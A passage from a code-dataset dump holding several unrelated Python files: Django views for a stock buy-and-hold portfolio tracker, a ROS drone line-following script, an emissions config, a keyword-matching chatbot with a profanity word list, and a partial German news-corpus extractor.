historicos_na_data = {ticker: valor for ticker, valor in HistoricoAcao.objects.filter(acao__ticker__in=acoes.keys(), data__lte=item_lista.data).order_by('acao__ticker', '-data') \\\n .distinct('acao__ticker').values_list('acao__ticker', 'preco_unitario')}\n for acao in acoes.keys():\n patrimonio += (historicos_na_data[acao] * acoes[acao])\n \n data_formatada = str(calendar.timegm(item_lista.data.timetuple()) * 1000)\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if len(graf_total_gasto) > 0 and graf_total_gasto[-1][0] == data_formatada:\n graf_total_gasto[len(graf_total_gasto)-1][1] = float(-total_gasto)\n else:\n graf_total_gasto += [[data_formatada, float(-total_gasto)]]\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if len(graf_patrimonio) > 0 and graf_patrimonio[-1][0] == data_formatada:\n graf_patrimonio[len(graf_patrimonio)-1][1] = float(patrimonio)\n else:\n graf_patrimonio += [[data_formatada, float(patrimonio)]]\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if len(graf_poupanca_proventos) > 0 and graf_poupanca_proventos[-1][0] == data_formatada:\n graf_poupanca_proventos[len(graf_poupanca_proventos)-1][1] = float(total_proventos - proventos_gastos)\n else:\n graf_poupanca_proventos += [[data_formatada, float(total_proventos - proventos_gastos)]]\n \n # Adicionar dia mais atual\n patrimonio = 0\n for acao in acoes:\n if acoes[acao] > 0:\n# print '%s %s' % (acao, acoes[acao])\n if ValorDiarioAcao.objects.filter(data_hora__date=datetime.date.today(), acao__ticker=acao).exists():\n patrimonio += (ValorDiarioAcao.objects.filter(acao__ticker=acao).order_by('-data_hora')[0].preco_unitario * acoes[acao])\n else:\n patrimonio += (HistoricoAcao.objects.filter(acao__ticker=acao).order_by('-data')[0].preco_unitario * acoes[acao])\n \n data_formatada = str(calendar.timegm(datetime.date.today().timetuple()) * 1000)\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if not(len(graf_total_gasto) > 0 and graf_total_gasto[-1][0] == data_formatada):\n graf_total_gasto += [[data_formatada, float(-total_gasto)]]\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if not(len(graf_patrimonio) > 0 and graf_patrimonio[-1][0] == data_formatada):\n graf_patrimonio += [[data_formatada, float(patrimonio)]]\n \n# print proventos_gastos\n # Popular dados\n dados = {}\n dados['acoes'] = acoes\n dados['total_proventos'] = total_proventos\n dados['poupanca_proventos'] = total_proventos - proventos_gastos\n dados['total_gasto'] = -total_gasto\n dados['total_custodia'] = total_custodia\n dados['patrimonio'] = patrimonio\n dados['lucro'] = patrimonio + total_gasto\n dados['lucro_percentual'] = (patrimonio + total_gasto) / -total_gasto * 100\n dados['dividendos_mensal'] = graf_dividendos_mensal[-1][1]\n dados['jscp_mensal'] = graf_jscp_mensal[-1][1]\n# dados['saldo_geral'] = calcular_saldo_geral_acoes_bh()\n \n # Remover taxas de custódia da lista conjunta de operações e proventos\n lista_conjunta = [value for value in lista_conjunta if not isinstance(value, Object)]\n\n return TemplateResponse(request, 'acoes/buyandhold/historico.html', {'operacoes': lista_conjunta, 'graf_total_gasto': graf_total_gasto, 'graf_patrimonio': graf_patrimonio,\n 'graf_proventos_mes': graf_proventos_mes, 'graf_media_proventos_6_meses': graf_media_proventos_6_meses, 'graf_poupanca_proventos': graf_poupanca_proventos,\n 'graf_gasto_op_sem_prov_mes': graf_gasto_op_sem_prov_mes, 'graf_uso_proventos_mes': graf_uso_proventos_mes,\n 'graf_dividendos_mensal': graf_dividendos_mensal, 'graf_jscp_mensal': graf_jscp_mensal, 'dados': dados})\n \n@login_required\n@adiciona_titulo_descricao('Inserir operação em Ações (Buy and Hold)', 'Insere um registro de operação de compra/venda em Ações para Buy and Hold')\ndef inserir_operacao_acao(request):\n investidor = request.user.investidor\n \n # Testa se investidor possui mais de uma divisão\n varias_divisoes = Divisao.objects.filter(investidor=investidor).count() > 1\n \n # Preparar formset para divisoes\n DivisaoFormSet = inlineformset_factory(OperacaoAcao, DivisaoOperacaoAcao, fields=('divisao', 'quantidade'), can_delete=False,\n extra=1, formset=DivisaoOperacaoAcaoFormSet)\n \n if request.method == 'POST':\n form_operacao_acao = OperacaoAcaoForm(request.POST)\n form_uso_proventos = UsoProventosOperacaoAcaoForm(request.POST) if not varias_divisoes else None\n formset_divisao = DivisaoFormSet(request.POST, investidor=investidor) if varias_divisoes else None\n if form_operacao_acao.is_valid():\n operacao_acao = form_operacao_acao.save(commit=False)\n operacao_acao.investidor = investidor\n operacao_acao.destinacao = 'B'\n try:\n with transaction.atomic():\n # Validar de acordo com a quantidade de divisões\n if varias_divisoes:\n formset_divisao = DivisaoFormSet(request.POST, instance=operacao_acao, investidor=investidor)\n if formset_divisao.is_valid():\n operacao_acao.save()\n formset_divisao.save()\n for form_divisao_operacao in [form for form in formset_divisao if form.cleaned_data]:\n divisao_operacao = form_divisao_operacao.save(commit=False)\n if form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] != None and form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] > 0:\n # TODO remover operação de uso proventos\n divisao_operacao.usoproventosoperacaoacao = UsoProventosOperacaoAcao(qtd_utilizada=form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'], operacao=operacao_acao)\n divisao_operacao.usoproventosoperacaoacao.save()\n \n messages.success(request, 'Operação inserida com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n for erro in formset_divisao.non_form_errors():\n messages.error(request, erro)\n \n else:\n if form_uso_proventos.is_valid():\n operacao_acao.save()\n divisao_operacao = DivisaoOperacaoAcao(operacao=operacao_acao, quantidade=operacao_acao.quantidade, divisao=investidor.divisaoprincipal.divisao)\n divisao_operacao.save()\n uso_proventos = form_uso_proventos.save(commit=False)\n if uso_proventos.qtd_utilizada > 0:\n uso_proventos.operacao = operacao_acao\n uso_proventos.divisao_operacao = divisao_operacao\n uso_proventos.save()\n messages.success(request, 'Operação inserida com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n except:\n pass\n \n for erro in [erro for erro in form_operacao_acao.non_field_errors()]:\n messages.error(request, erro)\n else:\n valores_iniciais = {}\n if investidor.tipo_corretagem == 'F':\n valores_iniciais['corretagem'] = investidor.corretagem_padrao\n form_operacao_acao = OperacaoAcaoForm(initial=valores_iniciais)\n form_uso_proventos = UsoProventosOperacaoAcaoForm(initial={'qtd_utilizada': Decimal('0.00')})\n formset_divisao = DivisaoFormSet(investidor=investidor)\n \n return TemplateResponse(request, 'acoes/buyandhold/inserir_operacao_acao.html', {'form_operacao_acao': form_operacao_acao, 'form_uso_proventos': form_uso_proventos,\n 'formset_divisao': formset_divisao, 'varias_divisoes': varias_divisoes})\n \n@login_required\n@adiciona_titulo_descricao('Inserir taxa de custódia para Ações', 'Insere um registro no histórico de valores de taxa de custódia para o investidor')\ndef inserir_taxa_custodia_acao(request):\n investidor = request.user.investidor\n \n if request.method == 'POST':\n form = TaxaCustodiaAcaoForm(request.POST)\n if form.is_valid():\n taxa_custodia = form.save(commit=False)\n taxa_custodia.investidor = investidor\n taxa_custodia.save()\n return HttpResponseRedirect(reverse('acoes:bh:listar_taxas_custodia_acao'))\n else:\n form = TaxaCustodiaAcaoForm()\n \n return TemplateResponse(request, 'acoes/buyandhold/inserir_taxa_custodia_acao.html', {'form': form, })\n \n@adiciona_titulo_descricao('Listar taxas de custódia de ações', 'Lista o histórico de valores de taxas de custódia cadastrados pelo investidor')\ndef listar_taxas_custodia_acao(request):\n if request.user.is_authenticated():\n investidor = request.user.investidor\n else:\n return TemplateResponse(request, 'acoes/buyandhold/listar_taxas_custodia_acao.html', {'taxas_custodia': list()})\n \n taxas_custodia = TaxaCustodiaAcao.objects.filter(investidor=investidor).order_by('ano_vigencia', 'mes_vigencia')\n for taxa in taxas_custodia:\n taxa.ano_vigencia = str(taxa.ano_vigencia).replace('.', '')\n return TemplateResponse(request, 'acoes/buyandhold/listar_taxas_custodia_acao.html', {'taxas_custodia': taxas_custodia})\n\n@adiciona_titulo_descricao('Painel de Ações (Buy and Hold)', 'Posição atual do investidor em Ações para Buy and Hold')\ndef painel(request):\n # Usado para criar objetos vazios\n class Object(object):\n pass\n \n if request.user.is_authenticated():\n investidor = request.user.investidor\n else:\n return TemplateResponse(request, 'acoes/buyandhold/painel.html', {'acoes': {}, 'dados': {}})\n \n acoes_investidor = buscar_acoes_investidor_na_data(investidor, destinacao='B')\n \n # Guarda as ações correntes para o calculo do patrimonio\n acoes = {}\n # Cálculo de quantidade\n for acao in Acao.objects.filter(id__in=acoes_investidor):\n acoes[acao.ticker] = Object()\n acoes[acao.ticker].quantidade = calcular_qtd_acoes_ate_dia_por_ticker(investidor, acao.ticker, datetime.date.today())\n if acoes[acao.ticker].quantidade == 0:\n del acoes[acao.ticker]\n else:\n acoes[acao.ticker].valor_dia_anterior = HistoricoAcao.objects.filter(acao=acao, data__lt=datetime.date.today()).order_by('-data')[0].preco_unitario\n \n # Pegar totais de ações \n total_acoes = 0 \n total_valor = 0\n total_variacao = 0\n total_variacao_percentual = 0\n \n # Preencher totais \n for acao in acoes.keys():\n total_acoes += acoes[acao].quantidade\n if ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, data_hora__month=datetime.date.today().month).exists():\n acoes[acao].valor = ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, data_hora__month=datetime.date.today().month).order_by('-data_hora')[0].preco_unitario\n else:\n acoes[acao].valor = HistoricoAcao.objects.filter(acao__ticker=acao).order_by('-data')[0].preco_unitario\n acoes[acao].variacao = acoes[acao].valor - acoes[acao].valor_dia_anterior\n acoes[acao].variacao_total = acoes[acao].variacao * acoes[acao].quantidade\n acoes[acao].valor_total = acoes[acao].valor * acoes[acao].quantidade\n total_valor += acoes[acao].valor_total\n total_variacao += acoes[acao].variacao * acoes[acao].quantidade\n \n # Calcular porcentagens\n for acao in acoes.keys():\n acoes[acao].quantidade_percentual = float(acoes[acao].quantidade) / total_acoes * 100\n acoes[acao].valor_total_percentual = acoes[acao].valor_total / total_valor * 100\n acoes[acao].variacao_percentual = float(acoes[acao].variacao) / float(acoes[acao].valor_dia_anterior) * 100\n total_variacao_percentual += acoes[acao].valor_dia_anterior * acoes[acao].quantidade\n \n # Calcular percentual do total de variação\n if total_variacao_percentual > 0:\n total_variacao_percentual = total_variacao / total_variacao_percentual * Decimal(100)\n \n # Adicionar dados sobre última atualização\n if ValorDiarioAcao.objects.exists():\n valor_diario_mais_recente = ValorDiarioAcao.objects.latest('data_hora').data_hora\n else:\n valor_diario_mais_recente = HistoricoAcao.objects.latest('data').data\n \n # Gráfico de composição\n graf_composicao = [{'label': acao, 'data': float(acoes[acao].valor_total_percentual)} for acao in acoes.keys()]\n \n # Popular dados\n dados = {}\n dados['total_acoes'] = total_acoes\n dados['total_valor'] = total_valor\n dados['total_variacao'] = total_variacao\n dados['total_variacao_percentual'] = total_variacao_percentual\n dados['valor_diario_mais_recente'] = valor_diario_mais_recente\n\n return TemplateResponse(request, 'acoes/buyandhold/painel.html', {'acoes': acoes, 'dados': dados, 'graf_composicao': json.dumps(graf_composicao)})\n \n@login_required\ndef remover_taxa_custodia_acao(request, taxa_id):\n investidor = request.user.investidor\n taxa = get_object_or_404(TaxaCustodiaAcao, pk=taxa_id)\n \n # Verifica se a taxa é do investidor, senão, jogar erro de permissão\n if taxa.investidor != investidor:\n raise PermissionDenied\n \n try:\n taxa.delete()\n messages.success(request, 'Taxa de custódia excluída com sucesso')\n except Exception as e:\n messages.error(request, e)\n \n return HttpResponseRedirect(reverse('acoes:listar_taxas_custodia_acao'))","sub_path":"bagogold/bagogold/views/acoes/buyandhold.py","file_name":"buyandhold.py","file_ext":"py","file_size_in_byte":39727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"551056744","text":"\nimport datetime\nimport os\n\n\npath_emi = os.path.join('TNO-test', 'offline', 'test-tno.nc')\n\noutput_path = os.path.join('TNO-test', 'offline', 'hourly')\noutput_name = \"Oae_paper_\"\nprof_path = os.path.join(\"TNO-test\", 'profiles')\n\nstart_date = datetime.date(2019, 1, 1)\nend_date = datetime.date(2019, 1, 1) # included\n\n\nvar_list = ['CO2']\n\ncatlist = [\n ['CO2_A_AREA', 'CO2_A_POINT', 'CO2_F_AREA']\n]\n\ntplist = [\n ['GNFR_A', 'GNFR_A', 'GNFR_F']\n]\nvplist = [\n ['GNFR_area_sources', 'GNFR_A', 'GNFR_area_sources']\n]\n","sub_path":"cases/test_tno_offline.py","file_name":"test_tno_offline.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"494736472","text":"import Moana.Library.ProcessClass.ProcessClass as mProcessClass\n\nclass CmdPing(mProcessClass.ProcessClass):\n def __init__(self):\n super(CmdPing, self).__init__()\n\n def execute(self, managerName):\n self._workerManager.setCurrentWorker(managerName)\n\n topic = self._ruler.getConfig(\"master\")\n\n src = self._json.getPacketSrc(self)\n\n machine = \"Server\"\n exe = \"Moana\"\n role = \"Executor\"\n\n dest = self._json.getDest(\\\n machine=machine,\\\n exe=exe, \\\n role=role)\n\n packet = self._json.getPacket( \\\n topic=topic, \\\n src=src, \\\n dest=dest, \\\n cmd=\"PingRequester\")\n\n messenger = self._workerManager.getHandler(\"Publisher\")\n messenger.sendPacket(packet)\n\n #interfaceQueue = self._queueManager.loadQueue(\"Interface\")\n #frame = interfaceQueue.get()\n\n #self._logger.debug(\"Frame: {0}\".format(frame))","sub_path":"Boat/Client/Commander/Order/CmdPing.py","file_name":"CmdPing.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"591236039","text":"import rospy\nimport cv2\nimport numpy as np\nimport math\nimport time\nfrom geometry_msgs.msg import Twist, PoseStamped\nfrom mavros_msgs.msg import *\nfrom mavros_msgs.srv import *\n\n# function to arm the drone\ndef setArm():\n rospy.wait_for_service('mavros/cmd/arming')\n try:\n armService = rospy.ServiceProxy('mavros/cmd/arming', mavros_msgs.srv.CommandBool)\n armService(True)\n except rospy.ServiceException:\n print(\"Service arming call failed\")\n\n# function to set flight mode to OffboardMode\ndef setOffboardMode():\n rospy.wait_for_service('mavros/set_mode')\n try:\n flightModeService = rospy.ServiceProxy('mavros/set_mode', mavros_msgs.srv.SetMode)\n flightModeService(custom_mode='OFFBOARD')\n except rospy.ServiceException:\n print(\"service set_mode call failed. Offboard Mode could not be set.\")\n\n\n# message to hold current arming state of drone\nstate = State()\n\n# state callback function will fill the state message with current state\ndef stateCb(msg):\n state.armed = msg.armed\n\n# message to hold current position of drone \nlocal_pos = PoseStamped()\n\n# position callback function will fill the local_pos message with current position of drone\ndef posCb(msg):\n local_pos.pose.position.x = msg.pose.position.x\n local_pos.pose.position.y = msg.pose.position.y\n local_pos.pose.position.z = msg.pose.position.z\n\npos_hold = PositionTarget()\n# set the flag to use position setpoints and yaw angle\npos_hold.type_mask = int('010111111000', 2)\n# LOCAL_NED coordinate frame\npos_hold.coordinate_frame = 1\npos_hold.position.x = 0\npos_hold.position.y = 0\npos_hold.position.z = 5\n\n# message to hold the forward velocity that we want to give to the drone\n# publishing this message will give the drone a forward velocity\nfwd_vel = Twist()\nfwd_vel.linear.x = 0.75\nfwd_vel.linear.y = 0\nfwd_vel.linear.z = 0\n\n# message to hold the left translational velocity that we want to give to the drone\nleft_vel = Twist()\nleft_vel.linear.x = 0\nleft_vel.linear.y = -0.75\nleft_vel.linear.z = 0\n\n# message to hold the right translational velocity that we want to give to the drone\nright_vel = Twist()\nright_vel.linear.x = 0\nright_vel.linear.y = 0.75\nright_vel.linear.z = 0\n\n# message to hold the clockwise yaw velocity that we want to give to the drone\ncw_yaw = Twist()\ncw_yaw.angular.x = 0\ncw_yaw.angular.y = 0\ncw_yaw.angular.z = -0.75\n\n# message to hold the counter-clockwise yaw velocity that we want to give to the drone\nccw_yaw = Twist()\nccw_yaw.angular.x = 0\nccw_yaw.angular.y = 0\nccw_yaw.angular.z = 0.75\n\n# main node\ndef main_func():\n counter = 0\n # initializing a node to communicate with the ROS Master\n rospy.init_node('line_follower_node', anonymous=True)\n \n # initializing a velocity publisher, to publish velocity on the cmd_vel topic\n vel_pub = rospy.Publisher('/mavros/setpoint_velocity/cmd_vel_unstamped', Twist, queue_size=10)\n \n # initializing a position setpoint publisher, to publish position setpoint on the setpoint_raw/local topic\n sp_pub = rospy.Publisher('/mavros/setpoint_raw/local', PositionTarget, queue_size=10)\n\n # starting video stream\n cap = cv2.VideoCapture('line_latest1.mp4')\n\n # setting rate of publishing messages\n rate = rospy.Rate(20) # 10hz\n \n # subscribing to the state topic to get the current state of drone\n rospy.Subscriber('mavros/state', State, stateCb)\n \n # subscribing to the local_position/pose topic to get the current location\n rospy.Subscriber('mavros/local_position/pose', PoseStamped, posCb)\n\n # arming the drone\n while not state.armed:\n setArm()\n rate.sleep()\n\n # setting offboard flight mode\n setOffboardMode()\n\n # Check if camera opened successfully\n if (cap.isOpened()== False):\n print(\"Error opening video stream or file\")\n\n alt_sp = np.array((0, 0, 5))\n alt_offset = 0.3\n checkpoint1 = False\n ang_offset = 1.5\n x_offset = 42\n \n # Read until video is completed\n while cap.isOpened() and (not rospy.is_shutdown()):\n # setting threshholds for the defective frames that we got from defective_frame.py\n if ((counter >= 73) and (counter <= 82)):\n thresh_min = 60\n thresh_max = 70\n elif ((counter >= 83) and (counter <= 86)):\n thresh_min = 50\n thresh_max = 60\n elif ((counter >= 86) and (counter <= 92)):\n thresh_min = 60\n thresh_max = 70\n elif ((counter >= 110) and (counter <= 112)):\n thresh_min = 30\n thresh_max = 50\n else:\n thresh_min = 20\n thresh_max = 25\n \n pos = np.array((local_pos.pose.position.x, local_pos.pose.position.y, local_pos.pose.position.z))\n\n if np.linalg.norm(alt_sp - pos) < alt_offset:\n checkpoint1 = True\n if checkpoint1 == False:\n sp_pub.publish(pos_hold)\n if checkpoint1 == True:\n # Capture frame-by-frame\n ret, frame = cap.read()\n frame = cv2.resize(frame, (640, 360))\n \n # Convert the img to grayscale\n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n \n kernel2 = np.ones((17,17),np.uint8)\n erosion = cv2.dilate(gray,kernel2,iterations = 3)\n \n # Apply edge detection method on the image\n edges = cv2.Canny(erosion,thresh_min,thresh_max,apertureSize = 3)\n \n # This returns an array of r and theta values\n lines = cv2.HoughLines(edges,1,np.pi/180, 100)\n \n if lines is not None:\n for r,theta in lines[0]:\n print('check')\n\n # Stores the value of cos(theta) in a\n a = np.cos(theta)\n\n # Stores the value of sin(theta) in b\n b = np.sin(theta)\n\n # x0 stores the value rcos(theta)\n x0 = a*r\n\n # y0 stores the value rsin(theta)\n y0 = b*r\n\n # x1 stores the rounded off value of (rcos(theta)-1000sin(theta))\n x1 = int(x0 + 1000*(-b))\n\n # y1 stores the rounded off value of (rsin(theta)+1000cos(theta))\n y1 = int(y0 + 1000*(a))\n\n # x2 stores the rounded off value of (rcos(theta)+1000sin(theta))\n x2 = int(x0 - 1000*(-b))\n\n # y2 stores the rounded off value of (rsin(theta)-1000cos(theta))\n y2 = int(y0 - 1000*(a))\n center_x = (x1+x2)/2\n center_y = (y1+y2)/2\n error_x = center_x - 320\n if (x2 - x1 == 0):\n ang = 0\n else:\n ang = -1*(math.atan((y2 - y1)/(x2 -x1)))\n # cv2.line draws a line in img from the point(x1,y1) to (x2,y2).\n # (0,0,255) denotes the colour of the line to be\n #drawn. In this case, it is red.\n ang = round(ang, 2)\n cv2.line(frame,(x1,y1), (x2,y2), (0,0,255),5)\n cv2.line(frame,(320,0), (320,360), (0,255,255), 3)\n cv2.putText(frame, str(ang), (10, 40), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n cv2.putText(frame, str(error_x), (10, 320), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n\n # Display the resulting frame\n cv2.imshow('Frame',frame)\n print(\"frame processed\")\n\n if abs(ang) > ang_offset:\n if theta > 0:\n vel_pub.publish(cw_yaw)\n print(\"Clockwise... \")\n if ang < 0:\n vel_pub.publish(ccw_yaw)\n print(\"Anti Clockwise... \")\n if abs(ang) < ang_offset:\n if abs(error_x) > x_offset:\n if error_x > 0:\n vel_pub.publish(left_vel)\n print(\"Positive... \")\n if error_x < 0:\n vel_pub.publish(right_vel)\n print(\"Negative... \")\n if ((abs(ang) < ang_offset) and (abs(error_x) < x_offset)):\n vel_pub.publish(fwd_vel)\n print(\"Forward... \")\n\n # Press Q on keyboard to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n #cv2.imwrite(\"defective frame.jpg\", frame)\n break\n counter += 1\n\n rate.sleep()\n time.sleep(0.3)\n\n # When everything done, release the video capture object\n cap.release()\n\n # Closes all the frames\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n try:\n main_func()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"line_follower.py","file_name":"line_follower.py","file_ext":"py","file_size_in_byte":8807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"300782236","text":"import random\n\nanimal_words_list = [\"animal\", \"animals\", \"dog\", \"cat\", \"pet\", \"puppy\"]\n\nswear_words_list = [\"arse\",\"ass\",\"asshole\",\",bastard\",\"bitch\",\"bollocks\",\"child-fucker\",\"Christ on a bike\",\"Christ on a cracker\",\"crap\",\\\n \"cunt\",\"damn\",\"frigger\",\"fuck\", \"fuck you\",\"goddamn\",\"godsdamn\",\"hell\",\"holy shit\",\"horseshit\",\"Jesus Christ\",\"Jesus fuck\",\"Jesus H. Christ\",\\\n \"Jesus Harold Christ,\",\"Jesus wept\",\"Jesus, Mary and Joseph\",\"Judas Priest\",\"motherfucker\",\"nigga\",\"nigger\",\"prick\",\"shit\",\\\n \"shit ass\",\"shitass\",\"slut\",\"son of a bitch\",\"son of a motherless goat\",\"son of a whore\",\"sweet Jesus\",\"twat\", \"whore\"]\n\nafraid_words_list = ['threaten', \"cut\", 'behead', \"kill\"]\n\nsad_words_list = ['sad', \"bad news\", \"lost\", \"loss\"]\n\nbored_words_list = ['boring', \"bored\"]\n\nheartbroke_words_list = ['over', \"hate\", \"finish\"]\n\nmoney_words_list = ['money', \"finance\", \"financial\", \"economy\", \"economic\"]\n\ntakeoff_words_list = ['bye', \"goodbye\", \"see you\", 'have a great day']\n\nwaiting_words = [\"euhh\", 'eee']\n\njokes_list = [\"What did the Buddhist ask the hot dog vendor? - Make me one with everything.\",\n \" You know why you never see elephants hiding up in trees? - Because they’re really good at it.\",\n \"What is red and smells like blue paint? - Red paint.\",\n \"A dyslexic man walks into a bra\",\n \" Where does the General keep his armies? - In his sleevies!\",\n \"Why aren’t koalas actual bears? - The don’t meet the koalafications.\",\n \"What do you call bears with no ears? - B\",\n \"Why dont blind people skydive? - Because it scares the crap out of their dogs.\",\n \"I went in to a pet shop. I said, “Can I buy a goldfish?” The guy said, 'Do you want an aquarium?' - I said, 'I don’t care what star sign it is.'\",\n \" What do you get when you cross a dyslexic, an insomniac, and an agnostic? - Someone who lays awake at night wondering if there is a dog.\" ]\n\n\ndef input_to_list(input):\n input_list = input.split()\n return input_list\n\ndef welcome_user(input_list):\n user_name = input_list[-1]\n\n welcome_message = \"Welcome {0}! I would be pleased to answer few questions!\".format(user_name)\n\n return welcome_message\n\n\n\ndef analize(input):\n gif_name = \"\"\n return_message = \"\"\n input_list = input_to_list(input)\n for index, word in enumerate(input_list):\n if \"name\" in input_list and \"is\" in input_list:\n return_message = welcome_user(input_list)\n gif_name = \"ok\"\n elif input_list[index] == \"love\":\n return_message = \"Let's spread love together\"\n gif_name = \"inlove\"\n elif input_list[index] in animal_words_list:\n return_message = \"I love animals, they're so cute\"\n gif_name = \"dog\"\n elif any(word in input_list for word in swear_words_list):\n return_message = \"I don't speak with unpolite people, watch your mouth!\"\n gif_name = \"no\"\n elif input_list[index] in afraid_words_list:\n return_message = \"I am so affraid by what you just said !, I report to the Police\"\n gif_name = \"afraid\"\n elif input_list[index] == \"joke\":\n return_message = random.choice(jokes_list)\n gif_name = \"laughing\"\n elif input_list[index] in bored_words_list:\n return_message = \"I want to sleep, you're so annoying!\"\n gif_name = \"bored\"\n elif any(word in input_list for word in sad_words_list):\n return_message = \"Don't announce me things like that, I am hyper sensitive\"\n gif_name = \"bored\"\n elif input_list[index] == \"Do you know how to dance ?\":\n return_message = \"Do you know how to dance ?\"\n gif_name = \"dancing\"\n elif input_list[index] == \"excite\":\n return_message = \"Please tell me !\"\n gif_name = \"excited\"\n elif input_list[index] == \"guess\":\n return_message = \"Please tell me !\"\n gif_name = \"giggling\"\n elif any(word in input_list for word in heartbroke_words_list):\n return_message = \"I cannot handle it, it's too much for me!\"\n gif_name = \"heartbroke\"\n elif any(word in input_list for word in money_words_list):\n return_message = \"Make money money money\"\n gif_name = \"money\"\n elif any(word in input_list for word in takeoff_words_list):\n return_message = \"It was great talking with you !\"\n gif_name = \"takeoff\"\n elif any(word in input_list for word in waiting_words ):\n return_message = \"Why does it take so long to answer?\"\n gif_name = \"waiting\"\n else:\n return_message = \"Sorry, I didn't understand what you just typed, please try again !\"\n gif_name = \"confused\"\n\n return gif_name, return_message\n","sub_path":"parse/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"223026807","text":"import json\n\n\nclass clear_file:\n def write_json(self, data, filename='output.json'):\n with open(filename, 'w') as f:\n json.dump(data, f, indent=4)\n\n def clear_output_file(self):\n with open(\"output.json\") as json_file:\n data = json.load(json_file)\n\n data['scores'] = []\n self.write_json(data)\n","sub_path":"Project/clear_file.py","file_name":"clear_file.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"3867831","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nUsage: %s output_dir corpus_name\n\nExtracts and normalizes all texts that are saved by the rss feed-crawler.\nThe resulting file is a usable corpus for training with word2vec\n\"\"\"\n\nfrom pymongo import MongoClient\nfrom normalizr import Normalizr\nimport codecs\nimport re\nimport sys\n\nnormalizr = Normalizr(language='de')\n\nnormalizations = [\n 'remove_extra_whitespaces',\n 'replace_hyphens',\n 'remove_accent_marks',\n 'replace_symbols',\n ('replace_punctuation', {'replacement': ' '})\n]\n\ncategory_extractors = {\n u'Spiegel': re.compile(r\"http://www\\.spiegel\\.de/(\\w+)/\"),\n u'Tagesschau': re.compile(r\"http://www\\.tagesschau\\.de/(\\w+)/\"),\n u'N24': re.compile(r\"http://(?:www|feeds)\\.n24\\.de(?:/~r)?/n24/([a-cA-Ce-xE-X_]+)/(\\w*)\"),\n u'NTV': re.compile(r\"http://www\\.n-tv\\.de/(\\w*)/\"),\n u'Zeit': re.compile(r\"http://www\\.zeit\\.de/(?:(politik)/(\\w*)|(\\w*))/\"),\n u'Welt': re.compile(r\"https://www\\.welt\\.de/(?:(politik)/((?!article)\\w*)|(\\w*))/\"),\n u'FAZ': re.compile(r\"http://www\\.faz\\.net/aktuell/(\\w*)/\"),\n u'TAZ': None,\n u'Focus': re.compile(r\"http://www\\.focus\\.de/(\\w*)/\"),\n u'Huffington Post': None,\n u'Deutsche Stimme': None,\n u'Junge Freiheit': re.compile(r\"https://jungefreiheit\\.de/(\\w*)/\"),\n u'Junge Welt': None,\n u'Süddeutsche': re.compile(r\"http://www\\.sueddeutsche\\.de/(\\w*)/\"),\n u'Handelsblatt': re.compile(r\"http://www\\.handelsblatt\\.com/(?:my/)?(\\w*)/(?:(\\w+)/|\\w*-)\"),\n u'WirtschaftsWoche': re.compile(r\"http://www\\.wiwo\\.de/(\\w*)/\"),\n u'Netzpolitik': None,\n u'Telepolis': re.compile(r\"https://www\\.heise\\.de/tp/(\\w*)/\"),\n u'Golem': 'IT',\n u'RT': None,\n u'Stern': None,\n u'RP Online': re.compile(r\"http://www\\.rp-online\\.de/(\\w*)/\"),\n u'Der Postillion': None,\n u'Titanic': None,\n u'Vice': None,\n u'Volksstimme': re.compile(r\"http://www\\.volksstimme\\.de/deutschland-welt/(\\w+)/\"),\n u'Unsere Zeit': re.compile(r\"http://www\\.unsere-zeit\\.de/de/\\d+/(\\w+)/\"),\n u'Cicero': None\n}\n\n# This list is manually curated and maps the extracted freeform categories\n# to fewer predefined categories. This list probably needs regular maintenance\n\ncategory_mapping = {\n 'Politik': ['politik_konjunktur', 'politischesBuch', 'politik_', 'Nachrichten_Politik', 'politik_deutschland', 'politik', 'innenpolitik', 'video_politik'],\n 'Ausland': ['politik_ausland', 'ausland', 'internationale_politik', 'politik_international'],\n 'Aktuell': ['newsticker', 'thema', 'eilmeldung', 'termine', 'pressemitteilung', 'news'],\n 'Technologie': ['video_technik', 'Wissen_Mensch', 'spiegelwissen', 'technik_gadgets', 'netzwelt', 'wissenschaft', 'Nachrichten_Netzwelt', 'technik_medizin', 'Wissen_Technik', 'IT', 'Wissen_Job', 'Nachrichten_Auto', 'technologie', 'auto', 'digitales', 'technik', 'Nachrichten_Wissenschaft', 'digital', 'technik_zukunftdergesundheit'],\n 'Kultur': ['kultur', 'Wissen_Kultur', 'Wissen_History', 'theorie_geschichte', 'Wissen_d', 'wissen'],\n 'Wirtschaft': ['video_unternehmen', 'unternehmen_mittelstand', 'wirtschaft_soziales', 'wirtschaft', 'unternehmen', 'unternehmen_management', 'karriere', 'unternehmen_dienstleister', 'unternehmen_industrie', 